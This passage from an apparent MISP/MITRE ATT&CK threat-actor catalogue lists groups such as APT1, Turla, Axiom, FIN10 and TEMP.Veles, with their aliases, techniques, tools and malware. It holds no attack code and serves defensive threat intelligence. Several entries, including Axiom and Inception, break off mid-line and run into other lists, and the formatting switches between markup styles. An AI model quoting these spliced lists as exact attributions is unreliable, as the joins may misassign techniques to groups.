• uses: misp-galaxy:mitre-attack-pattern="Delete Cloud Instance - T1578.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Code Repositories - T1593.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Malware - T1588.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Virtual Private Server - T1583.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Confluence - T1213.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Email Forwarding Rule - T1114.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Chat Messages - T1552.008" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Cloud Account - T1136.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Credentials - T1589.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DNS Server - T1584.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Impersonation - T1656" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Identify Roles - T1591.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Create Cloud Instance - T1578.002" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication Interception - T1111" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DCSync - T1003.006" with estimative-language:likelihood-probability="almost-certain"

Table 6414. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G1004">https://attack.mitre.org/groups/G1004</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/lapsus-group/">https://unit42.paloaltonetworks.com/lapsus-group/</a></td>
</tr>
</tbody>
</table>
APT-C-36 - G0099

[APT-C-36](https://attack.mitre.org/groups/G0099) is a suspected South America espionage group that has been active since at least 2018. The group mainly targets Colombian government institutions as well as important corporations in the financial sector, petroleum industry, and professional manufacturing.(Citation: QiAnXin APT-C-36 Feb2019)

The tag is: `misp-galaxy:mitre-intrusion-set="APT-C-36 - G0099"`

APT-C-36 - G0099 is also known as:

- APT-C-36
- Blind Eagle

View relationships graph

APT-C-36 - G0099 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-tool="Imminent Monitor - S0434"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Table 6415. Table References

Links
TEMP.Veles - G0088

[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)

The tag is: `misp-galaxy:mitre-intrusion-set="TEMP.Veles - G0088"`

TEMP.Veles - G0088 is also known as:

- TEMP.Veles
- XENOTIME

View relationships graph

TEMP.Veles - G0088 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1311"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="SSH - T1021.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1546.012"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1329"` with estimative-language:likelihood-probability="almost-certain"
- Uses: misp-galaxy:mitre-attack-pattern="Virtual Private Server - T1583.003" with estimative-language:likelihood-probability="almost-certain"
- Uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"
- Uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- Uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- Uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 6416. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0088">https://attack.mitre.org/groups/G0088</a></td>
</tr>
<tr>
<td><a href="https://dragos.com/resource/xenotime/">https://dragos.com/resource/xenotime/</a></td>
</tr>
<tr>
<td><a href="https://pylos.co/2019/04/12/a-xenotime-to-remember-veles-in-the-wild/">https://pylos.co/2019/04/12/a-xenotime-to-remember-veles-in-the-wild/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/content/dam/fireeye-www/blog/files/TRITON_Appendix_C.html">https://www.fireeye.com/content/dam/fireeye-www/blog/files/TRITON_Appendix_C.html</a></td>
</tr>
</tbody>
</table>

**FIN10 - G0051**

[FIN10](https://attack.mitre.org/groups/G0051) is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations. (Citation: FireEye FIN10 June 2017)

The tag is: misp-galaxy:mitre-intrusion-set="FIN10 - G0051"

FIN10 - G0051 is also known as:
• FIN10

View relationships graph

FIN10 - G0051 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

Table 6417. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0051">https://attack.mitre.org/groups/G0051</a></td>
</tr>
</tbody>
</table>

**APT12 - G0005**

[APT12](https://attack.mitre.org/groups/G0005) is a threat group that has been attributed to China. The group has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments.(Citation: Meyers Numbered Panda)

The tag is: *misp-galaxy:mitre-intrusion-set="APT12 - G0005"*
APT12 - G0005 is also known as:

- APT12
- IXESHE
- DynCalc
- Numbered Panda
- DNSCALC

View relationships graph

APT12 - G0005 has relationships with:

- similar: misp-galaxy:threat-actor="APT12" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="DNS Calculation - T1568.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Ixeshe - S0015" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="RIPTIDE - S0003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="HTRAN - S0040" with estimative-language:likelihood-probability="almost-certain"

Table 6418. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.crowdstrike.com/blog/whois-numbered-panda/">http://www.crowdstrike.com/blog/whois-numbered-panda/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0005">https://attack.mitre.org/groups/G0005</a></td>
</tr>
</tbody>
</table>

APT30 - G0013

[APT30](https://attack.mitre.org/groups/G0013) is a threat group suspected to be associated with the Chinese government. While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to
be exact matches.(Citation: FireEye APT30)(Citation: Baumgartner Golovkin Naikon 2015)

The tag is: \textit{misp-galaxy:mitre-intrusion-set="APT30 - G0013"}

APT30 - G0013 is also known as:

- APT30

\textit{View relationships graph}

APT30 - G0013 has relationships with:

- similar: misp-galaxy:threat-actor="Naikon" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="FLASHFLOOD - S0036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="NETEAGLE - S0034" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SPACESHIP - S0035" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SHIPSHAPE - S0028" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BACKSPACE - S0031" with estimative-language:likelihood-probability="almost-certain"

\textit{Table 6419. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0013">https://attack.mitre.org/groups/G0013</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/the-naikon-apt/69953/">https://securelist.com/the-naikon-apt/69953/</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf">https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf</a></td>
</tr>
</tbody>
</table>

\textbf{APT1 - G0006}

\textbf{[APT1]}(https://attack.mitre.org/groups/G0006) is a Chinese threat group that has been attributed to the 2nd Bureau of the People's Liberation Army (PLA) General Staff Department's (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)

The tag is: \textit{misp-galaxy:mitre-intrusion-set="APT1 - G0006"}

APT1 - G0006 is also known as:
APT1

Comment Crew

Comment Group

Comment Panda

View relationships graph

APT1 - G0006 has relationships with:

- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT1" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="WEBC2 - S0109" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obtain/re-use payloads - T1346" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Lslsass - S0121" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1330" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1312" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="xCmd - S0123" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1333" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="CALENDAR - S0025" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malware - T1588.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="pwdump - S0006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Pass-The-Hash Toolkit - S0122" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain registration hijacking - T1326" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="gsecdump - S0008" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Seasalt - S0345" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="BISCUIT - S0017" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Cachedump - S0119" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="GLOOXMAIL - S0026" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domains - T1584.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 6420. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0006">https://attack.mitre.org/groups/G0006</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf">https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf</a></td>
</tr>
</tbody>
</table>

**Axiom - G0001**

[Axiom](https://attack.mitre.org/groups/G0001) is a suspected Chinese cyber espionage group that has targeted the aerospace, defense, government, manufacturing, and media sectors since at least 2008. Some reporting suggests a degree of overlap between [Axiom](https://attack.mitre.org/groups/G0001) and [Winnti Group](https://attack.mitre.org/groups/G0044) but the two groups appear to be distinct based on differences in reporting on TTPs and targeting.(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)(Citation: Novetta Winnti April 2015)

The tag is: misp-galaxy:mitre-intrusion-set="Axiom - G0001"

Axiom - G0001 is also known as:

- Axiom
- Group 72
Axiom - G0001 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="HydraQ - S0203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Virtual Private Server - T1583.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Botnet - T1584.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Derusbi - S0021" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Hikit - S0009" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT17" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Subvert Trust Controls - T1553" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with
• uses: misp-galaxy:mitre-malware="ZxShell - S0412" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="RDP Hijacking - T1563.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Zox - S0672" with estimative-language:likelihood-probability="almost-certain"

Table 6421. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blogs.cisco.com/security/talos/threat-spotlight-group-72">http://blogs.cisco.com/security/talos/threat-spotlight-group-72</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0001">https://attack.mitre.org/groups/G0001</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/games-are-over/70991/">https://securelist.com/games-are-over/70991/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/winnti-more-than-just-a-game/37029/">https://securelist.com/winnti-more-than-just-a-game/37029/</a></td>
</tr>
</tbody>
</table>

**Inception - G0100**

[Inception](https://attack.mitre.org/groups/G0100) is a cyber espionage group active since at least 2014. The group has targeted multiple industries and governmental entities primarily in Russia, but has also been active in the United States and throughout Europe, Asia, Africa, and the Middle East.(Citation: Unit 42 Inception November 2018)(Citation: Symantec Inception Framework March 2018)(Citation: Kaspersky Cloud Atlas December 2014)

The tag is: *misp-galaxy:mitre-intrusion-set="Inception - G0100"*

Inception - G0100 is also known as:

- Inception
- Inception Framework
- Cloud Atlas

[View relationships graph](#)
Inception - G0100 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="VBShower - S0442" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-
Turla - G0010

[Turla](https://attack.mitre.org/groups/G0010) is a cyber espionage threat group that has been attributed to Russia’s Federal Security Service (FSB). They have compromised victims in over 50 countries since at least 2004, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies. [Turla](https://attack.mitre.org/groups/G0010) is known for conducting watering hole and spearphishing campaigns, and leveraging in-house tools and malware, such as [Uroburos](https://attack.mitre.org/software/S0022). (Citation: Kaspersky Turla)(Citation: ESET Gazer Aug 2017)(Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla Mosquito Jan 2018)(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)

The tag is: misp-galaxy:mitre-intrusion-set="Turla - G0010"

Turla - G0010 is also known as:

- Turla
- IRON HUNTER
- Group 88
- Belugasturgeon
- Waterbug
- WhiteBear
- Snake
- Krypton
- Venomaous Bear

View relationships graph

Turla - G0010 has relationships with:

- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="KOPILUWAK - S1075" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="certutil - S0160" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Group Policy Discovery - T1615" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="TinyTurla - S0668" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="HyperStack - S0537" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Arp - S0099" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Virtual Private Server - T1584.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Kazuar - S0265" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Epic - S0091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Gazer - S0168" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malware - T1588.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Uroburos - S0022" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Mosquito - S0256" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Services - T1584.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="IronNetInjector - S0581" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="nbtstat - S0102" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="NBTscan - S0590" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Carbon - S0335" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:threat-actor="APT26" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

